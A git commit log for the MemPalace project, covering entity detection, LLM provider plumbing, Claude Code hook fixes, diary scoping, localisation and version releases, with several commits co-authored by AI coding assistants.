Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3c277c46-20b3-4a43-8eb7-8ee2eb3cb55a

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 03:50:13 +00:00
copilot-swe-agent[bot]andigorls 70d4c5471e fix(project-scanner): address review feedback
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/3c277c46-20b3-4a43-8eb7-8ee2eb3cb55a

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-24 03:48:47 +00:00
Igor Lins e Silva 36a8f219c2 feat(init): wire --llm flag and convo_scanner into discover_entities
Extends the init orchestrator to consume two new signal sources:

1. Claude Code conversation dirs: when the target is a
   `~/.claude/projects/` root, convo_scanner contributes ProjectInfo
   entries alongside the git/manifest projects. Dedup is by name,
   preferring the entry with more user-authored activity.
2. Optional LLM refinement: when --llm is passed, discover_entities
   constructs the provider, validates availability, and runs
   llm_refine.refine_entities on the merged candidates. Status
   summary (reclassified / dropped / cancelled / batch errors)
   prints to stderr.

New init flags (opt-in, default remains zero-API):
- --llm: enable refinement
- --llm-provider: ollama (default) | openai-compat | anthropic
- --llm-model: default gemma4:e4b for Ollama
- --llm-endpoint: URL (required for openai-compat)
- --llm-api-key: falls back to env ($ANTHROPIC_API_KEY or
  $OPENAI_API_KEY depending on provider)

Provider check_available runs before the scan, so the user sees an
immediate error ("Run: ollama pull <model>" or "ANTHROPIC_API_KEY not
set") rather than a mid-scan failure.
2026-04-24 00:47:14 -03:00
Igor Lins e Silva 10a743d5d8 feat(llm): interactive entity refinement with batching and cancellation
Takes the candidate set produced by phase-1 detection (manifests, git
authors, regex on prose) and asks an LLM to reclassify each candidate
as PERSON / PROJECT / TOPIC / COMMON_WORD / AMBIGUOUS.

Scale approach: never feed the raw corpus to the LLM. For each
candidate, collect up to 3 context lines from sampled prose, cap each
at 240 chars, batch 25 candidates per call. Keeps total input around
50-100K tokens even on large corpora and completes in a few minutes
on a 4B local model.

Interactive UX:
- Stderr progress bar with the current candidate name, updates
  per-batch.
- Ctrl-C interrupts cleanly: returns a RefineResult with
  `cancelled=True` and whatever was classified before the interrupt.
  The partial result is safe to pass straight to confirm_entities.
- Per-batch errors (transport, parse) are recorded in `errors` and
  don't abort the whole run.

Refinement scope: only `uncertain` and low-confidence `projects`
entries are sent. Manifest-backed projects (conf >= 0.95) and git-
authored people are already authoritative and skip the LLM.

Response parser is defensive — accepts `label` or `type` keys,
lowercase/uppercase variants, top-level list or wrapped object, and
strips markdown code fences. Unknown labels become AMBIGUOUS so the
user reviews them rather than silently accepting a bad classification.

`collect_corpus_text` provides a simple stratified prose sampler
(recent first, capped per-file) so callers don't need to build their
own corpus window.

28 tests with a FakeProvider (no network). Covers context collection,
prompt building, response parsing variants, classification apply,
end-to-end refine, and Ctrl-C partial-result behavior.
2026-04-24 00:46:59 -03:00
Igor Lins e Silva df6c7d0dc3 feat(llm): pluggable provider abstraction for entity refinement
Three providers cover the useful space while keeping the zero-API
default:

- `ollama` (default): local models via http://localhost:11434. Works
  fully offline. Tag-matching check accepts both `model` and
  `model:latest` forms.
- `openai-compat`: any /v1/chat/completions endpoint. Covers
  OpenRouter, LM Studio, llama.cpp server, vLLM, Groq, Together,
  Fireworks, and most self-hosted frameworks. API key falls back to
  $OPENAI_API_KEY. Endpoint normalization is forgiving about trailing
  `/v1`.
- `anthropic`: Messages API v2023-06-01. API key falls back to
  $ANTHROPIC_API_KEY. Concatenates multi-block text responses.

JSON mode is normalized across providers — Ollama uses
`format: "json"`, OpenAI-compat uses `response_format`, Anthropic uses
prompt-level instruction. Callers request JSON once; this module
handles the provider-specific plumbing.

No external SDK dependency; stdlib `urllib` throughout. HTTP errors
are wrapped into a single `LLMError` class so callers don't need to
distinguish transport, auth, and parse failures at the call site.

26 tests, all with mocked HTTP — suite runs offline with no real
provider required.
2026-04-24 00:46:43 -03:00
Igor Lins e Silva c7bd2cd8e4 feat(convo): parse Claude Code conversation dirs into project entities
Claude Code stores sessions under `~/.claude/projects/<slug>/<id>.jsonl`
where `<slug>` is the original CWD with `/` replaced by `-`. That
encoding is lossy — can't distinguish `foo-bar` (one segment) from
`foo/bar` (two) — so slug-decoding alone produces wrong names for any
hyphenated project.

Fortunately, every message record carries a `cwd` field with the true
path. This scanner reads one record per session to recover the
accurate project name deterministically, falling back to slug-decoding
only if the JSONL is malformed or empty.

Output shape matches project_scanner.ProjectInfo so the discover
orchestrator can union results across sources. Session count doubles
as a density signal for ranking.

22 unit tests cover: root detection, cwd extraction with malformed
input tolerance, fallback slug decoding, name resolution using the
newest session (so renames win), and dedup when two encoded dirs
resolve to the same project.
2026-04-24 00:46:31 -03:00
Igor Lins e Silva 14d7444abe fix(deps): add tomli fallback for Python <3.11
`tomllib` is stdlib only in Python 3.11+. On Python 3.9/3.10 (and the
macOS runner) the scanner's toml parsing returned empty, so manifest
lookups for `pyproject.toml` / `Cargo.toml` produced no name. CI
surfaced this via 4 test_project_scanner.py failures on the 3.9 matrix.

Add `tomli>=2.0.0` as a conditional dependency for `python_version <
'3.11'` and fall back to it in `project_scanner.py`. The project still
declares `requires-python = ">=3.9"` so the fallback is the correct
shape.
2026-04-24 00:27:09 -03:00
Igor Lins e Silva 9e7fa1ceb5 feat(init): scan manifests and git authors for real entity signal
`mempalace init` previously leaned entirely on regex-based entity
extraction from prose. That path works for text-only folders but wastes
signal in any codebase: the project's own name is already in
`package.json` / `pyproject.toml` / `Cargo.toml` / `go.mod`, and the
people who worked on it are in `git log`.

This adds `project_scanner.py`, which becomes the primary signal source
when real signal is available, with the regex detector preserved as the
fallback for prose-only folders (diaries, research notes, writing).

What it does:
- Walks the target directory, parses manifests for canonical project
  names, and detects git repos by the presence of a `.git` directory.
- For each repo, reads `git log` for authors and filters obvious bots
  (`[bot]`, `dependabot`, `renovate`, `github-actions`, names ending in
  `bot`, `-autoroll`). Importantly does NOT filter
  `@users.noreply.github.com` - that's GitHub's privacy-protected human
  email, used by real contributors.
- Resolves author aliases with a union-find: commits that share a name
  OR an email collapse into one person. Picks the most-frequent
  real-name variant as display, ignoring handles and single-token
  usernames.
- Flags "mine" projects: user is top-5 committer OR has >=10% of
  commits OR >=20 commits. Ordered by user_commits in the UX.
- `discover_entities()` merges scanner results with the regex detector
  case-insensitively (so `mempalace` from pyproject absorbs `MemPalace`
  from docs), and suppresses the regex `uncertain` bucket when real
  signal is already found - the user doesn't need to adjudicate prose
  noise when the answer is already in git.

Integration: `cmd_init` now calls `discover_entities` instead of
running the regex detector directly. Same output shape, so
`confirm_entities` works unchanged.

Ships with 39 new tests covering manifest parsing, bot filtering,
union-find dedup, git repo discovery, scan integration, and
merge/fallback behavior. Existing 56 regex-detector tests all pass.
2026-04-24 00:20:53 -03:00
Igor Lins e Silva 6aebf458ff fix(entity): reduce noise in regex-based detection
The pattern-matching detector had several systematic false positives that
crowded the init review with nonsense. Concrete fixes:

- CamelCase extraction: add `[A-Z][a-z]+(?:[A-Z][a-z]+|[A-Z]{2,})+` to
  candidate patterns so `MemPalace`, `ChromaDB`, `OpenAI`, `ChatGPT` are
  visible. Previously `MemPalace` fragmented into `Mem` + `Palace`.
- Dialogue `^NAME:\s` requires >=2 matches to count. A single metadata
  line like `Created: 2026-04-21` was scoring as dialogue and classifying
  `Created` as a person.
- Versioned/hyphenated pattern tightened to `\b{name}[-_]v?\d+(?:\.\d+)*\b`
  (version-only). The previous `\b{name}[-v]\w+` matched `context-manager`,
  `multi-word`, etc. - every hyphenated compound.
- Skip LICENSE/COPYING/NOTICE/AUTHORS/PATENTS files during scan. They
  produce pure-English-prose noise (`Contributor`, `Software`, `Covered`,
  `Before`).
- Extra SKIP_DIRS: `.terraform`, `vendor`, `target`.
- Expand stopword list with capitalized participles/descriptors that
  commonly appear at sentence start: `created`, `updated`, `extracted`,
  `processed`, `total`, `summary`, `auto`, `multi`, `hybrid`, `context`,
  `bridge`, `batch`, `local`, `native`, `never`, `before`, `after`, etc.
- classify_entity: high-pronoun single-category signal now classifies as
  person. A diary's main character gets referenced with pronouns, not
  dialogue markers - requiring two signal categories demoted `Lu` (16
  pronoun hits across 30 mentions) to uncertain. Gate on
  `pronoun_hits >= 5 AND pronoun_hits / frequency >= 0.2` so common
  sentence-start words (`Never`, `Before`) with incidental proximity
  stay uncertain.
2026-04-24 00:20:32 -03:00
Igor Lins e Silva 6fcfd34aa4 docs(changelog): log #1145 fixes in 3.3.3 section
Two follow-up fixes from the v3.3.3 smoke test get folded into 3.3.3
before the tag is cut. Also syncs uv.lock with the 3.3.3 version
bump merged via #1144.
2026-04-23 23:39:41 -03:00
Igor Lins e Silva 1fd16daac2 fix(mcp): diary_read(wing='') spans all wings for agent (#1145)
#1097 fixed mempalace_search to treat empty-string wing/room as
no filter, matching how LLM agents default to filling every optional
parameter with ''. The same pattern wasn't applied to diary_read:
passing wing='' defaulted to wing_<agent_name>, siloing away entries
that hooks had written to project-derived wings per #659.

When wing is empty/omitted, filter only on agent + room=diary so
callers get a unified view of the agent's journal across every wing
it has written to. Explicit wing=<name> continues to scope reads
to that wing only.

Adds test covering empty-wing read after writing to both the default
and a non-default wing.
2026-04-23 23:39:34 -03:00
Igor Lins e Silva d1583750e8 fix(hooks): derive project wing from non-macOS transcript paths (#1145)
_wing_from_transcript_path only matched '-Projects-<name>' segments,
so Linux users with code under ~/dev/, ~/code/, or ~/src/ fell through
to the wing_sessions fallback and lost the per-project diary scoping
introduced in #659.

Broaden the heuristic to derive the project from the final
dash-separated token of the encoded project-folder name under
.claude/projects/. Keeps the legacy -Projects- regex as a secondary
match for transcripts living outside the standard Claude Code path.

Covers macOS Users layout, Linux dev/code layouts, and deeper nested
source paths while preserving existing Projects/ behavior.
2026-04-23 23:39:23 -03:00
Igor Lins e Silva 6d252a0de4 Merge pull request #1144 from MemPalace/chore/release-3.3.3-prep
release: v3.3.3 — restore install integrity
2026-04-23 21:56:02 -03:00
bensig 4f799afd76 release(3.3.3): bump README version badge
test_readme_badge_matches_version_py compares the version in the
README badge URL against version.py. Missed it in the initial bump.
2026-04-23 16:51:41 -07:00
bensig 102372b179 release: v3.3.3
Restore-integrity release. Unbreaks fresh `pip install mempalace` from
v3.3.2 by re-tagging current develop, which carries both the plugin.json
consumer (shipped in 3.3.2) and the matching mempalace-mcp entry point
in pyproject.toml (added on develop ~10h after the 3.3.2 tag via #340
by @messelink). #1093 diagnosed by @jphein.

Bumps (all 5 sources agree per Version Guard / CLAUDE.md):
- mempalace/version.py              3.3.2 → 3.3.3
- pyproject.toml                     3.3.2 → 3.3.3
- .claude-plugin/plugin.json         3.3.2 → 3.3.3
- .claude-plugin/marketplace.json    3.3.2 → 3.3.3
- .codex-plugin/plugin.json          3.3.2 → 3.3.3
- CHANGELOG.md                        new [3.3.3] entry

No code changes. The fix for #1093 is already on develop via merged PRs
#340, #1021, #851, #942, #833, #673, #661, #659, #1097, #1051, #1001,
#945.

Branch name intentionally outside the `release/*` ruleset so follow-up
CI-fix commits aren't gated behind a nested PR. (Supersedes #1143 —
closed for exactly that reason after it missed 3 of 5 version files.)

Smoke-tested locally from a fresh develop clone:
  grep mempalace-mcp pyproject.toml .claude-plugin/plugin.json   # both ✓
  python -m build --wheel                                        # ✓
  pip install …-py3-none-any.whl                                 # ✓
  which mempalace-mcp                                            # ✓
  mempalace-mcp --help                                           # ✓
2026-04-23 16:44:22 -07:00
Kunal Garhewal 9947ad06df fix: treat empty string as no filter in mempalace_search wing/room (#1097)
* fix: treat empty string as no filter in mempalace_search wing/room

* fix: also treat whitespace-only strings as no filter
2026-04-23 15:19:18 -07:00
Jeffrey HeinandClaude Sonnet 4.6 df3ee289fc fix: add wing param to diary_write/diary_read, derive from transcript path (#659)
* fix: add wing param to diary_write/diary_read, derive from transcript path

Without a wing override, all diary entries from the stop hook land in
wing_session-hook regardless of which project the session is in, making
per-project diary search impossible.

- tool_diary_write(): add optional `wing` param; sanitize and use it when
  provided, fall back to wing_{agent_name} when omitted
- tool_diary_read(): add optional `wing` param for filtering by target wing
- TOOLS dict: expose `wing` in input_schema for both diary tools
- hooks_cli: add _wing_from_transcript_path() helper that extracts the
  project name from Claude Code paths like
  ~/.claude/projects/-home-jp-Projects-kiyo-xhci-fix/... → kiyo-xhci-fix
- hook_stop: derive project wing and append wing= hint to block reason so
  Claude writes diary entries to the correct per-project wing

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix: sanitize wing param, cross-platform paths, tighten test assertions

Addresses Copilot review feedback on #659.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: wing_ prefix + agent filter on diary_read

Addresses bensig's 2-issue review on this PR.

1. _wing_from_transcript_path() was returning bare project names
   (e.g. "myproject") while all existing wings follow the wing_*
   convention from AAAK_SPEC. Entries landed in wing="myproject"
   while diary_read defaulted to wing="wing_<agent_name>" —
   orphaning every diary entry written by the stop hook. Now
   returns "wing_<project>" and falls back to "wing_sessions".

2. tool_diary_read() did not include agent_name in the ChromaDB
   where filter when a custom wing was provided — any caller with
   a shared wing could read entries written by other agents.
   Add {"agent": agent_name} to the $and clause. Also flagged by
   Qudo and left unresolved until now.

Tests updated to expect the wing_ prefix (6 tests).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-23 15:07:25 -07:00
Ben Sigman 818b7f4d48 Merge pull request #1118 from MemPalace/ben/crystal-lattice-brand
feat(website): Crystal Lattice brand — fonts, palette, hero copy
2026-04-22 22:15:40 -07:00
bensigandClaude Opus 4.6 4f00390335 feat(website): apply Crystal Lattice brand — fonts, palette, hero copy
- Swap Inter/Cormorant Garamond/Geist → Neue Machina/Satoshi/Onest (all free/web)
- Align color palette to Crystal Lattice decision (0002): void #080C18, cyan-vivid #38BDF8, ice #DBE7F5
- Update hero: "Memory *is* identity." with italic blue "is", white "identity"
- New hero subtext: "Every conversation, every idea, every small decision… held somewhere safe."
- JetBrains Mono unchanged (already OFL)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-22 20:24:39 -07:00
wahajahmed010 b595cb3978 docs: fix HOOKS_TUTORIAL.md paths, matcher, and missing timeout
Fixes four issues causing silent hook failures:

1. **Relative paths** → Absolute paths (/absolute/path/to/hooks/...)
   Claude Code resolves hooks from working directory, not repo root.

2. **Wrong matcher** → Stop uses *, PreCompact has no matcher
   PreCompact doesn't use matcher (only Stop hooks do).

3. **Missing timeout** → Added timeout: 30 to both hooks
   Matches hooks/README.md specification.

4. **Ambiguous target** → Specified ~/.claude/settings.local.json
   Clarified global vs project-scoped config.

Also added executable chmod instructions and path replacement note.

Fixes #1037
2026-04-22 11:31:40 +02:00
Ben Sigman 9b35d9f760 Merge pull request #661 from jphein/perf/graph-cache
Re-reviewed: both requested changes addressed (threading.Lock on cache globals, col-ignoring documented). Merging.
2026-04-21 17:38:31 -07:00
Ben Sigman 23ee2a02fd Merge pull request #673 from jphein/feat/deterministic-hook-save
Clean squash by jphein on 2026-04-21. Backwards-compatible via hook_silent_save config flag. Save marker now only advances after confirmed write — strictly safer than status quo.
2026-04-21 17:38:21 -07:00
Ben Sigman 02aafc0715 Merge pull request #1021 from jphein/upstream-fix/silent-save-visibility
silent_guard default fixed to True per 2026-04-19 review. ImportError/AttributeError handling narrowed. CI all green.
2026-04-21 17:38:13 -07:00
Ben Sigman 810f9a56c4 Merge pull request #851 from vnguyen-lexipol/fix/status-paginate-large-palaces
Merging to fix active pagination crash — 3 users hit this on v3.3.2 in the last 20 hours (54K, 114K, 465K drawer palaces). None-guard regression fixed. 9-day production soak on 165K-drawer palace confirms stability.
2026-04-21 17:38:04 -07:00
jp 74e9cbcfd3 feat: deterministic hook saves — zero data loss via silent Python API
Adds a `hook_silent_save` mode (default `true` in new installs) where
the stop and precompact hooks write diary entries directly via the
Python API — no AI block, no MCP tool roundtrip, no possibility of the
AI forgetting or ignoring the save instruction.

**Two modes, controlled by `hook_silent_save` in `~/.mempalace/config.json`:**

1. **Silent mode** (default): Direct call to `tool_diary_write()`. Plain
   text, no AI involved, deterministic. Save marker advances only after
   the write is confirmed, so mid-save failures do not lose exchanges.
   Shows `"✦ N memories woven into the palace"` as a systemMessage
   notification so the user knows the save fired.

2. **Block mode** (legacy): Returns `{"decision": "block"}` asking the
   AI to call the MCP tool chain. Non-deterministic — the AI may ignore,
   summarize lossy, or fail. Kept for backward compatibility.

**Extras rolled in:**
- Block reasons name "MemPalace" explicitly and instruct the AI not to
  write to Claude Code's native auto-memory (.md files) — prevents the
  two memory systems from stepping on each other.
- Codex transcript handling (`event_msg` payloads) in
  `_count_human_messages` + `_extract_recent_messages`.
- Tightened stopword leak in diary summaries; docstring polish; test
  hermeticity fixes (per-test `STATE_DIR` patching).

**Tests:** hooks_cli tests cover silent-save path, save-marker
advancement after confirmed write only, and systemMessage formatting.

Rebased fresh on upstream/develop. Only touches files germane to the
feature (hooks_cli.py, tests, hooks/README.md, HOOKS_TUTORIAL.md) —
stale fork-local `.sh` wrapper and plugin manifest changes dropped.
2026-04-21 13:20:52 -07:00
Igor Lins e Silva 1b00f93b37 Merge pull request #833 from MemPalace/fix/hooks-python-resolution
fix(hooks): real python-resolution for .sh hooks, with MEMPAL_PYTHON override
2026-04-21 01:47:50 -03:00
Igor Lins e SilvaandMSL 48eb6271a7 fix(hooks): MEMPAL_PYTHON override for .sh hooks' internal python3 calls
The legacy hook scripts `hooks/mempal_save_hook.sh` and
`hooks/mempal_precompact_hook.sh` shell out to `python3` for JSON
parsing and transcript-message counting. On macOS GUI launches of
Claude Code — `open -a`, Spotlight, the dock — the harness inherits
`PATH` from launchd (`/usr/bin:/bin:/usr/sbin:/sbin`), which may not
contain a `python3` at all, or may contain only a system Python that
lacks what the hook needs. The hook then fails silently in the
background log where users never look.

`mempalace` auto-ingest itself is unaffected — #340 switched that
path to the `mempalace` CLI entry point, which pipx/uv install on a
stable global PATH.

This PR adds a `MEMPAL_PYTHON` environment variable that users can
set to point the hook at any Python 3 interpreter. Resolution order
applied at each `python3` invocation site inside the two hooks:

  1. $MEMPAL_PYTHON (if set and executable)
  2. $(command -v python3) on PATH
  3. bare `python3` as a last resort

The interpreter does not need `mempalace` installed in it — only the
standard-library `json` and `sys` modules. The hook's `mempalace mine`
call runs via the CLI, independent of this override.

hooks/README.md documents the macOS GUI PATH issue and the
MEMPAL_PYTHON override. tests/test_hooks_shell.py adds 3 regression
tests (Linux/macOS only, POSIX bash):

  - MEMPAL_PYTHON override wins over PATH (proved via a
    marker-emitting shim that proxies to the real interpreter).
  - Non-executable MEMPAL_PYTHON falls back to PATH rather than
    crashing on permission denied.
  - Unset MEMPAL_PYTHON resolves via PATH.

`hooks_cli.py` (the Python implementation invoked via
`mempalace hook run ...`) already uses `sys.executable` and is
therefore trivially correct — no changes needed there.

Supersedes abandoned branch `fix/hook-bugs`.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-21 01:43:08 -03:00
Igor Lins e Silva 5522d348a5 Merge pull request #340 from messelink/fix/mcp-pipx-compat
fix: add mempalace-mcp entry point for pipx/uv compatibility
2026-04-21 01:36:51 -03:00
Pim MesselinkandClaude Opus 4.6 9e53228ea3 test: update test_cli assertions for mempalace-mcp entry point
Three assertions in test_mcp_command_* were still checking for the old
`python -m mempalace.mcp_server` output string. Update to match the new
`mempalace-mcp` command printed by cmd_mcp().

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-21 01:26:47 -03:00
Pim MesselinkandClaude Opus 4.6 982d421510 fix: update mempalace mcp command to use mempalace-mcp entry point
cmd_mcp() in cli.py was still printing `python -m mempalace.mcp_server`
as the setup command. Update to use the mempalace-mcp console entry
point added in the previous commit.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-21 01:26:47 -03:00
Pim MesselinkandClaude Opus 4.6 67a067701e fix: use mempalace CLI in top-level hook scripts
hooks/mempal_precompact_hook.sh and hooks/mempal_save_hook.sh used
python3 -m mempalace mine which fails when mempalace is installed via
pipx or uv. Switch to the mempalace CLI entry point which pipx/uv put
on PATH. Also removes the now-unused PYTHON variable from mempal_save_hook.sh.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-21 01:26:47 -03:00
Pim MesselinkandClaude Opus 4.6 be89e49add fix: use mempalace CLI in hook scripts instead of python3 -m
Hook scripts used `python3 -m mempalace` which fails when mempalace is
installed via pipx or uv. Using the `mempalace` CLI command directly
works for all installation methods. Dev users running from source should
use `pip install -e .` as documented in CONTRIBUTING.md.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-21 01:26:35 -03:00
Pim MesselinkandClaude Opus 4.6 9f5b8f5fd6 fix: add mempalace-mcp console entry point for pipx/uv compatibility
The MCP server config used `python -m mempalace.mcp_server` which fails
when mempalace is installed via pipx or uv, since the system python
cannot find the module in the isolated venv. Adding a `mempalace-mcp`
console_scripts entry point ensures the MCP server works regardless of
installation method (pip, pipx, uv, conda).

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-21 01:26:00 -03:00
Igor Lins e Silva 4fb0ee57e7 Merge pull request #942 from fatkobra/fix-hooks-resolve-claude-plugin
fix(hooks): resolve Claude plugin hook runner cross-platform
2026-04-21 01:21:36 -03:00
Igor Lins e Silva 1a180cd7cb Merge pull request #1051 from itfarrier/feat/i18n-belarusian
feat(i18n): add Belarusian
2026-04-21 01:09:54 -03:00
Igor Lins e Silva 6d42f61e64 Merge pull request #1001 from mvalentsev/feat/i18n-de-es-fr-entity
feat(i18n): add entity detection to German, Spanish, and French locales
2026-04-21 00:55:33 -03:00
Igor Lins e Silva 2a5914b630 Merge pull request #945 from lmanchu/feat/zh-entity-detection
feat(i18n): add Traditional + Simplified Chinese entity detection
2026-04-21 00:55:04 -03:00
Ben Sigman 87102fb188 Merge pull request #1041 from MemPalace/release/3.3.2 2026-04-20 11:46:51 -07:00
Igor Lins e Silva cf0477bfa7 Merge pull request #1052 from MemPalace/merge/main-into-release-3.3.2
release: merge main into release/3.3.2
2026-04-20 15:34:24 -03:00
Igor Lins e Silva 936f1866af release: merge main into release/3.3.2 — keep 3.3.2 version bumps
Conflicts resolved by taking the 3.3.2 side for all version files:
- pyproject.toml, mempalace/version.py (3.3.2)
- .claude-plugin/marketplace.json, .claude-plugin/plugin.json (3.3.2)
- .codex-plugin/plugin.json (3.3.2)
- README.md version badge (3.3.2)
- uv.lock (3.3.2)
- CHANGELOG.md keeps [3.3.2] section on top of main's [3.3.1]

No source-code conflicts; main's 3.3.1 commit footprint is already in
develop's history via the earlier sync boundaries.

1033 tests pass on the merged tree.
2026-04-20 15:21:08 -03:00
Igor Lins e Silva 04e11ae545 Merge pull request #1045 from MemPalace/fix/copilot-review-release-3.3.2
fix: address Copilot review on release/3.3.2
2026-04-20 15:16:20 -03:00
Dzmitry Padabed 54c314d8d9 feat(i18n): add Belarusian 2026-04-20 21:00:39 +03:00
Igor Lins e Silva 65b17a6e0f fix: address Copilot review on release/3.3.2
Non-ASCII glyphs (regression of the #681 class of Windows UnicodeEncodeError):
- mempalace/cli.py: "✗" → "ERROR:", "⚠" → "WARNING:", em dash → "-"
- mempalace/sweeper.py: "⚠" → "WARNING:"

Backend arg validation:
- mempalace/backends/chroma.py: `_normalize_get_collection_args` now
  raises TypeError on unexpected trailing positional args instead of
  silently dropping them — surfaces call-site bugs early.

Docs site:
- website/.vitepress/config.mts: gate Google Analytics scripts behind
  MEMPALACE_DOCS_GA_ID env var (default off). Self-hosters no longer
  get GA injected unconditionally.

Landing page SPA hygiene:
- website/.vitepress/theme/landing/useLandingEffects.js: collect all
  IntersectionObserver disconnects and removeEventListener thunks in a
  shared `cleanups` registry; drain it in `onBeforeUnmount` so observers
  and form/replay listeners don't leak across SPA navigations.
2026-04-19 18:19:28 -03:00
Igor Lins e Silva 5e9451407f release: v3.3.2
Version bumps across pyproject.toml, mempalace/version.py, README badge,
uv.lock, and plugin manifests (.claude-plugin/*, .codex-plugin/*).

CHANGELOG aligned with main (post-3.3.1) and a new [3.3.2] section added
covering the 11 PRs merged on develop since v3.3.1 — silent-transcript-drop
fix + tandem sweeper (#998), None-metadata guards (#999, #1013),
chromadb ≥1.5.4 for Py 3.13/3.14 (#1010), Windows Unicode (#681),
HNSW quarantine recovery (#1000), PID stacking guard (#1023), doc-path
cleanup (#996, #1012), and RFC 001/002 internal scaffolding (#995, #1014, #990).
2026-04-19 16:55:25 -03:00
jp d657626736 style: ruff format — collapse AttributeError log call to single line 2026-04-19 08:34:43 -07:00
jpandClaude Opus 4.7 2629ae5b71 fix(hooks): default silent_guard=True — config-read failure must not suppress saves
Addresses bensig's review on PR #1021.

silent_guard was initialized to False, so when both MempalaceConfig
import and .hook_silent_save attribute access failed, silent_guard
stayed False. Then `if not silent_guard:` fired and returned empty —
silently dropping the save. In silent mode (the default since v3.3.0),
saves should ALWAYS proceed on config-read failure. Changing the
initial value to True makes that the safe default.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 08:23:02 -07:00
fatkobra 0b316d4053 test: normalize wrapper script path for bash on Windows 2026-04-19 10:34:11 +02:00
Vu Nguyen 5d2da04bcd Merge remote-tracking branch 'upstream/develop' into fix/status-paginate-large-palaces
# Conflicts:
#	mempalace/miner.py
2026-04-19 02:02:28 -05:00
Vu Nguyen 3004ac4ee4 fix(miner): port None-metadata guard into paginated status loop
Upstream develop commit feba7e8 (2026-04-18) added `m = m or {}` to the
single-shot `for m in metas:` loop after this branch already rewrote
status() to paginate. Without porting the guard forward, merging this PR
would silently drop jp's fix and crash again on palaces with null-metadata
drawers.

Addresses bensig's review on #851.
2026-04-19 01:35:24 -05:00
Ben Sigman 32ec74d8eb Merge pull request #1023 from jphein/pr/pid-file-guard
fix(hooks): PID file guard prevents stacking mine processes
2026-04-18 23:33:47 -07:00
Ben Sigman caf503f442 Merge pull request #1000 from jphein/fix/quarantine-stale-hnsw
feat(backends): quarantine_stale_hnsw — recover from HNSW/sqlite drift (closes #823)
2026-04-18 23:28:00 -07:00
Ben Sigman 62439e1368 Merge pull request #681 from jphein/fix/unicode-checkmark
fix: replace Unicode checkmark with ASCII for Windows encoding (#535)
2026-04-18 23:27:57 -07:00
jpandClaude Opus 4.7 dfba247454 fix: cross-platform PID check — os.kill(pid, 0) TERMINATES on Windows
Real bug surfaced on CI for this PR. On POSIX, os.kill(pid, 0) is
the canonical no-op existence probe. On Windows, Python's os.kill
maps to TerminateProcess(handle, sig), which *terminates* the target
with exit code sig. os.kill(pid, 0) therefore kills the target with
exit code 0 — silently destroying our mine child (or, as happened
in test_mine_already_running_live_pid, the pytest process itself).

Fix: split into _pid_alive(pid) helper with a Windows branch using
ctypes.windll.kernel32.OpenProcess + GetExitCodeProcess.
PROCESS_QUERY_LIMITED_INFORMATION opens a handle only if the PID
exists; STILL_ACTIVE (259) distinguishes running from exited processes.

No new dependencies — stdlib ctypes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 21:30:17 -07:00
jpandClaude Opus 4.7 fe6b8899bc fix: broaden _mine_already_running catch — Windows os.kill raises plain OSError
On Windows, os.kill(bogus_pid, 0) raises OSError[WinError 87]
"The parameter is incorrect" — NOT ProcessLookupError. The old
except tuple missed it, so test_mine_already_running_dead_pid
failed on Windows CI.

Catching OSError covers ProcessLookupError + PermissionError +
FileNotFoundError on POSIX and WinError 87 on Windows. ValueError
still guards the int() parse.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 21:13:37 -07:00
jpandClaude Opus 4.7 a6b6e55247 fix: PID file guard prevents stacking mine processes
Every stop hook fire spawned a new background `mempalace mine` via
subprocess.Popen with no dedup — 4 concurrent mines at ~770% CPU
observed in production. Add `_mine_already_running()` (reads
`hook_state/mine.pid`, uses `os.kill(pid, 0)` as an existence check)
and `_spawn_mine()` (writes the child PID to the lock file after
Popen returns). `_maybe_auto_ingest` bails early when the guard
reports True.

Tests: 4 new unit tests for `_mine_already_running` (no file, dead
PID, live PID using `os.getpid()`, corrupt file), 1 new test
covering the skip-when-running branch of `_maybe_auto_ingest`, and
existing spawn tests patched to redirect `_MINE_PID_FILE` into
tmp_path so they don't touch the real state dir.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-18 20:27:56 -07:00
jpandClaude Sonnet 4.6 2183d866f3 style(hooks): ruff format hooks_cli.py and test_hooks_cli.py
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-18 18:09:29 -07:00
jpandClaude Sonnet 4.6 1531a253be test: add missing import os in test_hooks_cli
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-18 18:05:18 -07:00
jpandClaude Sonnet 4.6 5deb815f0b fix(hooks): address Copilot review feedback on #1021
- _output(): use sys.modules.get() instead of unconditional import to
  avoid triggering mcp_server's stdout redirect as a side effect
- _output(): write-all loop for os.write() to handle partial writes and
  EINTR; fall back to sys.stdout.buffer on OSError
- _output() docstring: remove inaccurate _save_diary_direct reference
- stop_hook_active guard: narrow except to ImportError/AttributeError,
  default silent_guard=False (safe: preserves block-mode loop prevention
  when config load fails) and log a warning instead of silently changing
  behavior
- tests: two new regression tests covering the real-stdout-fd path and
  the fd-1 fallback path

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-18 18:05:18 -07:00
jpandClaude Opus 4.7 6a3a5c7a3d fix(hooks): write hook JSON to real stdout, bypassing mcp_server redirect
